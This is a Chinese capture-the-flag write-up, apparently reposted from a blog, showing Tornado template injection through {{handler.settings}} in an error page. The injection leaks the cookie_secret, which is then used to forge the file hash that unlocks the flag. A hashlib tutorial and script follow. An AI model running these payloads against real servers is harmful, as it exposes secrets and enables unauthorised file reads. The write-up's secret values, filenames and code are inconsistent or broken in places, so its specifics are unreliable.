护网杯-easy_tornado ssti render模板注入
Tornado基于python的web框架
题目如下
[出自:jiwo.org]
http://111.198.29.45:33700/file?filename=/flag.txt&filehash=1c82038738fc522971262cb20b5ef64c
http://111.198.29.45:33700/file?filename=/welcome.txt&filehash=5e6e4331978821c7203abd04bf9b32dd
http://111.198.29.45:33700/file?filename=/hints.txt&filehash=c79aad2a796bd97ecf751b8082acc9bc
从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename))); flag文件名题目已给出 /fllllllllllag
也就是说我们要向读取到文件,payload是这样的:
file?filename=/fllllllllllllag&filehash=**********************
******************的内容是md5(cookie_secret+md5(/fllllllllllllag))
题目在于如何获取cookie
题目是easy_tornado,/welcome.txt页面也看到render,可能会是SSTI模板注入
(SSTI模板注入详解)
尝试进行验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符背过滤了。
那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
传递error?msg={{ handler.settings }}得到:
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘93881405-8942-4355-9d77-09906cf0fcd6’}
这样就拿到cookie_secret了
http://111.198.29.45:33700/error?msg={{handler.settings%20}}
cookie_secret: 2f361172-b02e-4c90-9bf3-6cd49abbf367
/fllllllllllllag的MD5为 3bf9f6cf685a6dd8defadabfb41a03a1
本题坚定了我写代码的信心fuck 拿在线的MD5网站加密不同网站值还不一样怎么都不成功心态爆炸
代码如下 执行命令python3 chash.py chash为该程序名
python3之hashlib用法
简介:
用于加密有关的操作,主要有SHA1,SHA224,SHA256,SHA384,SHA512,MD5算法。在python3中已废弃了md5和sha模块。
应用
1.md5加密
1 import hashlib
2 p=hashlib.md5()
3 p.update('123456'.encode('utf-8'))
4 print(p.hexdigest())
输出结果是:e10adc3949ba59abbe56e057f20f883e
2.sha1加密
1 import hashlib
2 p=hashlib.sha1()
3 p.update('123456'.encode('utf-8'))
4 print(p.hexdigest())
输出结果是:7c4a8d09ca3762af61e59520943dc26494f8941b
3.以此类似进行sha256,sha384,sha512加密
虽然以上加密都已经不错,但仍有缺陷,通过撞库得以反解。所以必须对加密算法加盐处理
1 import hashlib
2 p = hashlib.md5('password'.encode('utf-8))
3 p.update('123456'.encode('utf-8')
4 print(p.hexdigest())
输出结果是:cb28e00ef51374b841fb5c189b2b91c9
import hashlib def md5value(s): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def jiami(): filename = '/fllllllllllllag' cookie_s ="M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r" print(md5value(filename.encode('utf-8'))) x=md5value(filename.encode('utf-8')) y=cookie_s+x print(md5value(y.encode('utf-8')))
文章来自;http://jiwo.org/ken/detail.php?id=2588